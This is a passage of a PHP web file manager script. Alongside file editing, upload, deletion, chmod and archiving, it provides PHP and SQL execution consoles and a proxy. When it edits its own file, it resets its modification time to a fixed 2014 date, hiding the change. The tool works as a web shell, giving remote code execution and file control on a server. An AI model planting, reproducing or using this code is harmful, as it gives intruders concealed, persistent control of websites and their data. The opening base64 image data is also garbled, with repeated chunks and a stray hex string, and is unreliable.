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"); } .file { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+TP3gq7ZE3gXp326HscLJFTEhAf5o36Azkv/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+0x9Be54ec5a55A9753e998575B15B0842f8a58E79a/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/0x9Be54ec5a55A9753e998575B15B0842f8a58E79a/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fms_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fms_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_myfile').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fms_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fms_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fms_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fms_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_local['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth_local['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth_local['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_local['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_local['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_local['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fms_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fms_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth_local['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fms_config['upload_myfile'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_fileSet(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fms_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_fileSet($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in fileSet').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fms_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no fileSet'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no fileSet'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" 